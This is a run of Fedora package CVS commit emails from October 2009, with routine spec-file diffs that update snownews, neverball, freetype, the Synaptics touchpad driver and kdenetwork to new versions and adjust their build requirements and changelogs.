Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/snownews/F-11/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	3 Aug 2008 00:31:20 -0000	1.7
+++ .cvsignore	8 Oct 2009 23:29:29 -0000	1.8
@@ -1 +1 @@
-snownews-1.5.10.tar.gz
+snownews-1.5.12.tar.gz


Index: snownews.spec
===================================================================
RCS file: /cvs/pkgs/rpms/snownews/F-11/snownews.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- snownews.spec	26 Feb 2009 01:52:16 -0000	1.18
+++ snownews.spec	8 Oct 2009 23:29:29 -0000	1.19
@@ -1,18 +1,19 @@
 Name:		snownews
-Version: 	1.5.10
-Release: 	4%{?dist}
+Version: 	1.5.12
+Release: 	1%{?dist}
 Summary: 	A text mode RSS/RDF newsreader
 Group: 		Applications/Internet
 License: 	GPLv2
 Url:		http://home.kcore.de/~kiza/software/snownews
-Source0: 	http://home.kcore.de/~kiza/software/snownews/download/snownews-1.5.10.tar.gz
+Source0: 	http://home.kcore.de/~kiza/software/snownews/download/snownews-1.5.12.tar.gz
 Patch0:		snownews-1.5.10-nocheck.patch
 Patch1:		snownews-1.5.10-nostrip.patch
-Patch2:		snownews-1.5.10-manpage.patch
+Patch2:		snownews-1.5.12-manpage.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:	libxml2-devel
 BuildRequires:	ncurses-devel
 BuildRequires:	gettext
+BuildRequires:	openssl-devel
 
 %description
 Snownews  is  a text mode RSS/RDF newsreader. It supports all versions
@@ -50,6 +51,13 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/*/man1/*
 
 %changelog
+* Thu Oct  8 2009 Zing <zing at fastmail.fm> - 1.5.12-1
+- Bug fixes + openssl added as a requirement
+- Corrected two crashes when using mark unread and open URL on
+  non-existent items.
+- Use OpenSSL for MD5 calculations and remove all old MD5 code.
+- Fix 64bit digest calc. Readstatus wasn't remembered on 64bit versions.
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.5.10-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/snownews/F-11/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	3 Aug 2008 00:31:20 -0000	1.7
+++ sources	8 Oct 2009 23:29:29 -0000	1.8
@@ -1 +1 @@
-213a7543bab31a7dfe5a76c173cd5d49  snownews-1.5.10.tar.gz
+80da8943fc5aa96571924aec0087d4c0  snownews-1.5.12.tar.gz


--- snownews-1.5.10-manpage.patch DELETED ---



From wart at fedoraproject.org  Thu Oct  8 23:40:06 2009
From: wart at fedoraproject.org (Michael Thomas)
Date: Thu,  8 Oct 2009 23:40:06 +0000 (UTC)
Subject: rpms/neverball/devel .cvsignore, 1.4, 1.5 neverball.spec, 1.23,
	1.24 sources, 1.4, 1.5 neverball-datadir.patch, 1.3, NONE
Message-ID: <20091008234006.7952011C02A0@cvs1.fedora.phx.redhat.com>

Author: wart

Update of /cvs/pkgs/rpms/neverball/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26259

Modified Files:
	.cvsignore neverball.spec sources 
Removed Files:
	neverball-datadir.patch 
Log Message:
Update to 1.5.4 and remove patch that was adopted upstream.




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/neverball/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	8 Nov 2004 04:55:12 -0000	1.4
+++ .cvsignore	8 Oct 2009 23:40:05 -0000	1.5
@@ -1 +1 @@
-neverball-1.4.0.tar.gz
+neverball-1.5.4.tar.gz


Index: neverball.spec
===================================================================
RCS file: /cvs/pkgs/rpms/neverball/devel/neverball.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- neverball.spec	25 Jul 2009 19:15:06 -0000	1.23
+++ neverball.spec	8 Oct 2009 23:40:06 -0000	1.24
@@ -1,20 +1,20 @@
 Name:           neverball
-Version:        1.4.0
-Release:        17%{?dist}
+Version:        1.5.4
+Release:        1%{?dist}
 
 Summary:        Roll a ball through an obstacle course
 
 Group:          Amusements/Games
 License:        GPLv2+
-URL:            http://icculus.org/neverball/
-Source0:        http://icculus.org/neverball/neverball-%{version}.tar.gz
+URL:            http://neverball.org
+Source0:        http://neverball.org/neverball-%{version}.tar.gz
 Source1:        neverball.desktop
 Source2:        neverputt.desktop
-Patch0:         neverball-datadir.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  SDL_image-devel, SDL_ttf-devel, SDL_mixer-devel
 BuildRequires:  freetype-devel, desktop-file-utils, zlib-devel
-BuildRequires:  libGL-devel
+BuildRequires:  libGL-devel, libjpeg-devel, libpng-devel, physfs-devel
+BuildRequires:  gettext
 Requires: opengl-games-utils dejavu-sans-fonts
 
 %description
@@ -26,10 +26,6 @@ coins are worth 5.  Blue coins are worth
 
 %prep
 %setup -q
-%patch0 -p0
-# Remove some execute bits to prevent rpmlint warnings in the debuginfo
-# package.
-find data putt share -type f -exec chmod a-x {} \;
 
 %build
 make CFLAGS="$RPM_OPT_FLAGS -ansi `sdl-config --cflags`" %{?_smp_mflags}
@@ -39,13 +35,13 @@ rm -rf $RPM_BUILD_ROOT
 install -p -D -m0755 neverball $RPM_BUILD_ROOT/%{_bindir}/neverball
 install -p -D -m0755 neverputt $RPM_BUILD_ROOT/%{_bindir}/neverputt
 install -p -d -m0755 $RPM_BUILD_ROOT/%{_datadir}/%{name}/
-install -p -D -m0644 icon/neverball.png $RPM_BUILD_ROOT/%{_datadir}/pixmaps/neverball.png
-install -p -D -m0644 icon/neverputt.png $RPM_BUILD_ROOT/%{_datadir}/pixmaps/neverputt.png
+install -p -D -m0644 data/icon/neverball.png $RPM_BUILD_ROOT/%{_datadir}/pixmaps/neverball.png
+install -p -D -m0644 data/icon/neverputt.png $RPM_BUILD_ROOT/%{_datadir}/pixmaps/neverputt.png
 cp -ap  data/* $RPM_BUILD_ROOT/%{_datadir}/%{name}/
 
 # Use system fonts instead of bundling our own
-rm $RPM_BUILD_ROOT%{_datadir}/%{name}/ttf/VeraBd.ttf
-ln -s %{_datadir}/fonts/dejavu/DejaVuSans-Bold.ttf $RPM_BUILD_ROOT%{_datadir}/%{name}/ttf/VeraBd.ttf
+rm $RPM_BUILD_ROOT%{_datadir}/%{name}/ttf/DejaVuSans-Bold.ttf
+ln -s %{_datadir}/fonts/dejavu/DejaVuSans-Bold.ttf $RPM_BUILD_ROOT%{_datadir}/%{name}/ttf/DejaVuSans-Bold.ttf
 
 ln -s opengl-game-wrapper.sh $RPM_BUILD_ROOT%{_bindir}/neverball-wrapper
 ln -s opengl-game-wrapper.sh $RPM_BUILD_ROOT%{_bindir}/neverputt-wrapper
@@ -70,6 +66,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/applications/*
 
 %changelog
+* Thu Oct 8 2009 Wart <wart at kobold.org> - 1.5.4-1
+- Update to 1.5.4
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.0-17
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/neverball/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	8 Nov 2004 04:55:12 -0000	1.4
+++ sources	8 Oct 2009 23:40:06 -0000	1.5
@@ -1 +1 @@
-a6cd860f1c2b7d8cecbcfc05ff228ef0  neverball-1.4.0.tar.gz
+c523b0f72c2035831310e821162f7bd7  neverball-1.5.4.tar.gz


--- neverball-datadir.patch DELETED ---



From behdad at fedoraproject.org  Thu Oct  8 23:47:28 2009
From: behdad at fedoraproject.org (Behdad Esfahbod)
Date: Thu,  8 Oct 2009 23:47:28 +0000 (UTC)
Subject: rpms/freetype/devel .cvsignore, 1.22, 1.23 freetype.spec, 1.75,
	1.76 sources, 1.22, 1.23 freetype-2.3.9-aliasing.patch, 1.1, NONE
Message-ID: <20091008234728.D955A11C00DB@cvs1.fedora.phx.redhat.com>

Author: behdad

Update of /cvs/pkgs/rpms/freetype/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28511

Modified Files:
	.cvsignore freetype.spec sources 
Removed Files:
	freetype-2.3.9-aliasing.patch 
Log Message:
* Thu Oct 08 2009 Behdad Esfahbod <behdad at redhat.com> 2.3.10-1 
- Drop freetype-2.3.9-aliasing.patch 
- Update to 2.3.10. 



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/freetype/devel/.cvsignore,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- .cvsignore	13 Mar 2009 22:15:14 -0000	1.22
+++ .cvsignore	8 Oct 2009 23:47:28 -0000	1.23
@@ -1,3 +1,3 @@
-freetype-2.3.9.tar.bz2
-freetype-doc-2.3.9.tar.bz2
-ft2demos-2.3.9.tar.bz2
+freetype-doc-2.3.10.tar.bz2
+ft2demos-2.3.10.tar.bz2
+freetype-2.3.10.tar.bz2


Index: freetype.spec
===================================================================
RCS file: /cvs/pkgs/rpms/freetype/devel/freetype.spec,v
retrieving revision 1.75
retrieving revision 1.76
diff -u -p -r1.75 -r1.76
--- freetype.spec	30 Jul 2009 18:04:50 -0000	1.75
+++ freetype.spec	8 Oct 2009 23:47:28 -0000	1.76
@@ -8,8 +8,8 @@
 
 Summary: A free and portable font rendering engine
 Name: freetype
-Version: 2.3.9
-Release: 6%{?dist}
+Version: 2.3.10
+Release: 1%{?dist}
 License: FTL or GPLv2+
 Group: System Environment/Libraries
 URL: http://www.freetype.org
@@ -31,9 +31,6 @@ Patch88:  freetype-multilib.patch
 # Fix crash https://bugs.freedesktop.org/show_bug.cgi?id=6841
 Patch89:  freetype-2.2.1-memcpy-fix.patch
 
-# Fix aliasing issue
-Patch90: freetype-2.3.9-aliasing.patch
-
 Buildroot: %{_tmppath}/%{name}-%{version}-root-%(%{__id_u} -n)
 
 BuildRequires: libX11-devel
@@ -100,7 +97,6 @@ popd
 
 %patch88 -p1 -b .multilib
 %patch89 -p1 -b .memcpy
-%patch90 -p1 -b .aliasing
 
 %build
 
@@ -230,6 +226,10 @@ rm -rf $RPM_BUILD_ROOT
 %doc docs/tutorial
 
 %changelog
+* Thu Oct 08 2009 Behdad Esfahbod <behdad at redhat.com> 2.3.10-1
+- Drop freetype-2.3.9-aliasing.patch
+- Update to 2.3.10.
+
 * Thu Jul 30 2009 Behdad Esfahbod <behdad at redhat.com> 2.3.9-6
 - Add freetype-2.3.9-aliasing.patch
 - Resolves: 513582


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/freetype/devel/sources,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- sources	13 Mar 2009 22:15:14 -0000	1.22
+++ sources	8 Oct 2009 23:47:28 -0000	1.23
@@ -1,3 +1,3 @@
-d76233108aca9c9606cdbd341562ad9a  freetype-2.3.9.tar.bz2
-ddcb766f7c5abab0e7061dcf32a0268f  freetype-doc-2.3.9.tar.bz2
-144b4c750e91595154a66709c75fdf0d  ft2demos-2.3.9.tar.bz2
+9bdd83c5b6559bdfb68984f0b3d1dc8c  freetype-doc-2.3.10.tar.bz2
+e6d762885ecc8222774f5063a1605e45  ft2demos-2.3.10.tar.bz2
+b7a8a26cc137716a32b788664697d727  freetype-2.3.10.tar.bz2


--- freetype-2.3.9-aliasing.patch DELETED ---



From whot at fedoraproject.org  Thu Oct  8 23:58:01 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Thu,  8 Oct 2009 23:58:01 +0000 (UTC)
Subject: rpms/xorg-x11-drv-synaptics/devel .cvsignore, 1.18, 1.19 sources,
	1.18, 1.19 xorg-x11-drv-synaptics.spec, 1.35, 1.36
Message-ID: <20091008235801.BAD3411C00DB@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/xorg-x11-drv-synaptics/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32427

Modified Files:
	.cvsignore sources xorg-x11-drv-synaptics.spec 
Log Message:
* Fri Oct 09 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.2.0-1
- synaptics 1.2.0



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-synaptics/devel/.cvsignore,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- .cvsignore	7 Sep 2009 06:53:28 -0000	1.18
+++ .cvsignore	8 Oct 2009 23:58:01 -0000	1.19
@@ -1 +1 @@
-xf86-input-synaptics-20090907.tar.bz2
+xf86-input-synaptics-1.2.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-synaptics/devel/sources,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- sources	7 Sep 2009 06:53:28 -0000	1.18
+++ sources	8 Oct 2009 23:58:01 -0000	1.19
@@ -1 +1 @@
-3ab1532a478275138ec5602793fb4d07  xf86-input-synaptics-20090907.tar.bz2
+2cf0a2b0b3006bcfcd85bb77d966244a  xf86-input-synaptics-1.2.0.tar.bz2


Index: xorg-x11-drv-synaptics.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-synaptics/devel/xorg-x11-drv-synaptics.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- xorg-x11-drv-synaptics.spec	7 Sep 2009 06:53:28 -0000	1.35
+++ xorg-x11-drv-synaptics.spec	8 Oct 2009 23:58:01 -0000	1.36
@@ -2,19 +2,19 @@
 %define moduledir %(pkg-config xorg-server --variable=moduledir )
 %define driverdir %{moduledir}/input
 
-%define gitdate 20090907
+#define gitdate 20090907
 
 Name:           xorg-x11-drv-synaptics
 Summary:        Xorg X11 Synaptics touchpad input driver
-Version:        1.1.99
-Release:        7.%{gitdate}%{?dist}
+Version:        1.2.0
+Release:        1%{?dist}
 URL:            http://www.x.org
 License:        MIT
 Group:          User Interface/X Hardware Support
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-#Source0:        ftp://ftp.x.org/pub/individual/driver/%{tarball}-%{version}.tar.bz2
-Source0:        %{tarball}-%{gitdate}.tar.bz2
+Source0:        ftp://ftp.x.org/pub/individual/driver/%{tarball}-%{version}.tar.bz2
+#Source0:        %{tarball}-%{gitdate}.tar.bz2
 Source1:        10-synaptics.fdi
 Source2:        make-git-snapshot.sh
 
@@ -71,8 +71,8 @@ Features:
       parameter settings without restarting the X server.
 
 %prep
-#%setup -q -n %{tarball}-%{version}
-%setup -q -n %{tarball}-%{gitdate}
+%setup -q -n %{tarball}-%{version}
+#%setup -q -n %{tarball}-%{gitdate}
 
 %build
 autoreconf -v --install --force || exit 1
@@ -121,6 +121,9 @@ Development files for the Synaptics Touc
 
 
 %changelog
+* Fri Oct 09 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.2.0-1
+- synaptics 1.2.0
+
 * Mon Sep 07 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.1.99-7.20090907
 - This time with the tarball.
 



From kkofler at fedoraproject.org  Fri Oct  9 00:11:00 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Fri,  9 Oct 2009 00:11:00 +0000 (UTC)
Subject: rpms/kdenetwork/devel kdenetwork.spec,1.202,1.203
Message-ID: <20091009001100.9C7B911C00DB@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kdenetwork/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3199/devel

Modified Files:
	kdenetwork.spec 
Log Message:
* Fri Oct 09 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-3
- fix BR to be on kdelibs-experimental-devel, not kdelibs-experimental


Index: kdenetwork.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdenetwork/devel/kdenetwork.spec,v
retrieving revision 1.202
retrieving revision 1.203
diff -u -p -r1.202 -r1.203
--- kdenetwork.spec	7 Oct 2009 09:19:07 -0000	1.202
+++ kdenetwork.spec	9 Oct 2009 00:10:59 -0000	1.203
@@ -2,7 +2,7 @@ Summary: K Desktop Environment - Network
 Name: kdenetwork
 Epoch: 7
 Version: 4.3.2
-Release: 2%{?dist}
+Release: 3%{?dist}
 
 License: GPLv2
 Group: Applications/Internet
@@ -27,7 +27,7 @@ BuildRequires: boost-devel
 BuildRequires: giflib-devel
 BuildRequires: glib2-devel
 BuildRequires: gmp-devel
-BuildRequires: kdelibs-experimental >= %{version}
+BuildRequires: kdelibs-experimental-devel >= %{version}
 BuildRequires: kdepimlibs-devel >= %{version}
 BuildRequires: libgadu-devel >= 1.8.0
 BuildRequires: libidn-devel
@@ -191,6 +191,9 @@ fi
 
 
 %changelog
+* Fri Oct 09 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-3
+- fix BR to be on kdelibs-experimental-devel, not kdelibs-experimental
+
 * Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
 - enable jingle
 



From kkofler at fedoraproject.org  Fri Oct  9 00:11:45 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Fri,  9 Oct 2009 00:11:45 +0000 (UTC)
Subject: rpms/kdenetwork/F-10 kdenetwork.spec,1.177,1.178
Message-ID: <20091009001145.6E9EE11C00DB@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kdenetwork/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3326/F-10

Modified Files:
	kdenetwork.spec 
Log Message:
Sync from devel:

* Fri Oct 09 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-3
- fix BR to be on kdelibs-experimental-devel, not kdelibs-experimental

* Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
- enable jingle


Index: kdenetwork.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdenetwork/F-10/kdenetwork.spec,v
retrieving revision 1.177
retrieving revision 1.178
diff -u -p -r1.177 -r1.178
--- kdenetwork.spec	7 Oct 2009 11:32:23 -0000	1.177
+++ kdenetwork.spec	9 Oct 2009 00:11:44 -0000	1.178
@@ -2,7 +2,7 @@ Summary: K Desktop Environment - Network
 Name: kdenetwork
 Epoch: 7
 Version: 4.3.2
-Release: 1%{?dist}
+Release: 3%{?dist}
 
 License: GPLv2
 Group: Applications/Internet
@@ -27,7 +27,7 @@ BuildRequires: boost-devel
 BuildRequires: giflib-devel
 BuildRequires: glib2-devel
 BuildRequires: gmp-devel
-BuildRequires: kdelibs-experimental >= %{version}
+BuildRequires: kdelibs-experimental-devel >= %{version}
 BuildRequires: kdepimlibs-devel >= %{version}
 BuildRequires: libgadu-devel >= 1.8.0
 BuildRequires: libidn-devel
@@ -47,6 +47,7 @@ BuildRequires: soprano-devel >= 2.0.97
 BuildRequires: speex-devel
 BuildRequires: sqlite-devel
 BuildRequires: libv4l-devel
+BuildRequires: alsa-lib-devel
 %if 0%{?fedora}
 BuildRequires: webkitpart-devel
 %endif
@@ -108,6 +109,7 @@ chmod +x kopete/kopete/kconf_update/kope
 mkdir -p %{_target_platform}
 pushd %{_target_platform}
 %{cmake_kde4} \
+  -DWITH_JINGLE=TRUE \
   -DMOZPLUGIN_INSTALL_DIR=%{_libdir}/mozilla/plugins \
   ..
 popd
@@ -189,6 +191,12 @@ fi
 
 
 %changelog
+* Fri Oct 09 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-3
+- fix BR to be on kdelibs-experimental-devel, not kdelibs-experimental
+
+* Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
+- enable jingle
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From kkofler at fedoraproject.org  Fri Oct  9 00:11:45 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Fri,  9 Oct 2009 00:11:45 +0000 (UTC)
Subject: rpms/kdenetwork/F-11 kdenetwork.spec,1.195,1.196
Message-ID: <20091009001145.DD5EB11C00DB@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kdenetwork/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3326/F-11

Modified Files:
	kdenetwork.spec 
Log Message:
Sync from devel:

* Fri Oct 09 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-3
- fix BR to be on kdelibs-experimental-devel, not kdelibs-experimental

* Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
- enable jingle


Index: kdenetwork.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdenetwork/F-11/kdenetwork.spec,v
retrieving revision 1.195
retrieving revision 1.196
diff -u -p -r1.195 -r1.196
--- kdenetwork.spec	7 Oct 2009 11:32:25 -0000	1.195
+++ kdenetwork.spec	9 Oct 2009 00:11:45 -0000	1.196
@@ -2,7 +2,7 @@ Summary: K Desktop Environment - Network
 Name: kdenetwork
 Epoch: 7
 Version: 4.3.2
-Release: 1%{?dist}
+Release: 3%{?dist}
 
 License: GPLv2
 Group: Applications/Internet
@@ -27,7 +27,7 @@ BuildRequires: boost-devel
 BuildRequires: giflib-devel
 BuildRequires: glib2-devel
 BuildRequires: gmp-devel
-BuildRequires: kdelibs-experimental >= %{version}
+BuildRequires: kdelibs-experimental-devel >= %{version}
 BuildRequires: kdepimlibs-devel >= %{version}
 BuildRequires: libgadu-devel >= 1.8.0
 BuildRequires: libidn-devel
@@ -47,6 +47,7 @@ BuildRequires: soprano-devel >= 2.0.97
 BuildRequires: speex-devel
 BuildRequires: sqlite-devel
 BuildRequires: libv4l-devel
+BuildRequires: alsa-lib-devel
 %if 0%{?fedora}
 BuildRequires: webkitpart-devel
 %endif
@@ -108,6 +109,7 @@ chmod +x kopete/kopete/kconf_update/kope
 mkdir -p %{_target_platform}
 pushd %{_target_platform}
 %{cmake_kde4} \
+  -DWITH_JINGLE=TRUE \
   -DMOZPLUGIN_INSTALL_DIR=%{_libdir}/mozilla/plugins \
   ..
 popd
@@ -189,6 +191,12 @@ fi
 
 
 %changelog
+* Fri Oct 09 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-3
+- fix BR to be on kdelibs-experimental-devel, not kdelibs-experimental
+
+* Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
+- enable jingle
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From kkofler at fedoraproject.org  Fri Oct  9 00:11:46 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Fri,  9 Oct 2009 00:11:46 +0000 (UTC)
Subject: rpms/kdenetwork/F-12 kdenetwork.spec,1.202,1.203
Message-ID: <20091009001146.0FD2C11C00EC@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kdenetwork/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3326/F-12

Modified Files:
	kdenetwork.spec 
Log Message:
Sync from devel:

* Fri Oct 09 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-3
- fix BR to be on kdelibs-experimental-devel, not kdelibs-experimental

* Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
- enable jingle


Index: kdenetwork.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdenetwork/F-12/kdenetwork.spec,v
retrieving revision 1.202
retrieving revision 1.203
diff -u -p -r1.202 -r1.203
--- kdenetwork.spec	7 Oct 2009 11:32:26 -0000	1.202
+++ kdenetwork.spec	9 Oct 2009 00:11:45 -0000	1.203
@@ -2,7 +2,7 @@ Summary: K Desktop Environment - Network
 Name: kdenetwork
 Epoch: 7
 Version: 4.3.2
-Release: 1%{?dist}
+Release: 3%{?dist}
 
 License: GPLv2
 Group: Applications/Internet
@@ -27,7 +27,7 @@ BuildRequires: boost-devel
 BuildRequires: giflib-devel
 BuildRequires: glib2-devel
 BuildRequires: gmp-devel
-BuildRequires: kdelibs-experimental >= %{version}
+BuildRequires: kdelibs-experimental-devel >= %{version}
 BuildRequires: kdepimlibs-devel >= %{version}
 BuildRequires: libgadu-devel >= 1.8.0
 BuildRequires: libidn-devel
@@ -47,6 +47,7 @@ BuildRequires: soprano-devel >= 2.0.97
 BuildRequires: speex-devel
 BuildRequires: sqlite-devel
 BuildRequires: libv4l-devel
+BuildRequires: alsa-lib-devel
 %if 0%{?fedora}
 BuildRequires: webkitpart-devel
 %endif
@@ -108,6 +109,7 @@ chmod +x kopete/kopete/kconf_update/kope
 mkdir -p %{_target_platform}
 pushd %{_target_platform}
 %{cmake_kde4} \
+  -DWITH_JINGLE=TRUE \
   -DMOZPLUGIN_INSTALL_DIR=%{_libdir}/mozilla/plugins \
   ..
 popd
@@ -189,6 +191,12 @@ fi
 
 
 %changelog
+* Fri Oct 09 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-3
+- fix BR to be on kdelibs-experimental-devel, not kdelibs-experimental
+
+* Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
+- enable jingle
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From whot at fedoraproject.org  Fri Oct  9 00:14:52 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Fri,  9 Oct 2009 00:14:52 +0000 (UTC)
Subject: rpms/xorg-x11-drv-synaptics/F-12 .cvsignore, 1.18, 1.19 sources,
	1.18, 1.19 xorg-x11-drv-synaptics.spec, 1.35, 1.36
Message-ID: <20091009001453.057DA11C00DB@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/xorg-x11-drv-synaptics/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4797

Modified Files:
	.cvsignore sources xorg-x11-drv-synaptics.spec 
Log Message:
* Fri Oct 09 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.2.0-1
- synaptics 1.2.0



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-synaptics/F-12/.cvsignore,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- .cvsignore	7 Sep 2009 06:53:28 -0000	1.18
+++ .cvsignore	9 Oct 2009 00:14:52 -0000	1.19
@@ -1 +1 @@
-xf86-input-synaptics-20090907.tar.bz2
+xf86-input-synaptics-1.2.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-synaptics/F-12/sources,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- sources	7 Sep 2009 06:53:28 -0000	1.18
+++ sources	9 Oct 2009 00:14:52 -0000	1.19
@@ -1 +1 @@
-3ab1532a478275138ec5602793fb4d07  xf86-input-synaptics-20090907.tar.bz2
+2cf0a2b0b3006bcfcd85bb77d966244a  xf86-input-synaptics-1.2.0.tar.bz2


Index: xorg-x11-drv-synaptics.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-synaptics/F-12/xorg-x11-drv-synaptics.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- xorg-x11-drv-synaptics.spec	7 Sep 2009 06:53:28 -0000	1.35
+++ xorg-x11-drv-synaptics.spec	9 Oct 2009 00:14:52 -0000	1.36
@@ -2,19 +2,19 @@
 %define moduledir %(pkg-config xorg-server --variable=moduledir )
 %define driverdir %{moduledir}/input
 
-%define gitdate 20090907
+#define gitdate 20090907
 
 Name:           xorg-x11-drv-synaptics
 Summary:        Xorg X11 Synaptics touchpad input driver
-Version:        1.1.99
-Release:        7.%{gitdate}%{?dist}
+Version:        1.2.0
+Release:        1%{?dist}
 URL:            http://www.x.org
 License:        MIT
 Group:          User Interface/X Hardware Support
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-#Source0:        ftp://ftp.x.org/pub/individual/driver/%{tarball}-%{version}.tar.bz2
-Source0:        %{tarball}-%{gitdate}.tar.bz2
+Source0:        ftp://ftp.x.org/pub/individual/driver/%{tarball}-%{version}.tar.bz2
+#Source0:        %{tarball}-%{gitdate}.tar.bz2
 Source1:        10-synaptics.fdi
 Source2:        make-git-snapshot.sh
 
@@ -71,8 +71,8 @@ Features:
       parameter settings without restarting the X server.
 
 %prep
-#%setup -q -n %{tarball}-%{version}
-%setup -q -n %{tarball}-%{gitdate}
+%setup -q -n %{tarball}-%{version}
+#%setup -q -n %{tarball}-%{gitdate}
 
 %build
 autoreconf -v --install --force || exit 1
@@ -121,6 +121,9 @@ Development files for the Synaptics Touc
 
 
 %changelog
+* Fri Oct 09 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.2.0-1
+- synaptics 1.2.0
+
 * Mon Sep 07 2009 Peter Hutterer <peter.hutterer at redhat.com> 1.1.99-7.20090907
 - This time with the tarball.
 



From bskeggs at fedoraproject.org  Fri Oct  9 00:15:38 2009
From: bskeggs at fedoraproject.org (Ben Skeggs)
Date: Fri,  9 Oct 2009 00:15:38 +0000 (UTC)
Subject: rpms/xorg-x11-server/F-12
	xserver-1.7.0-exa-looping-forever-is-evil.patch, NONE,
	1.1 xorg-x11-server.spec, 1.493, 1.494
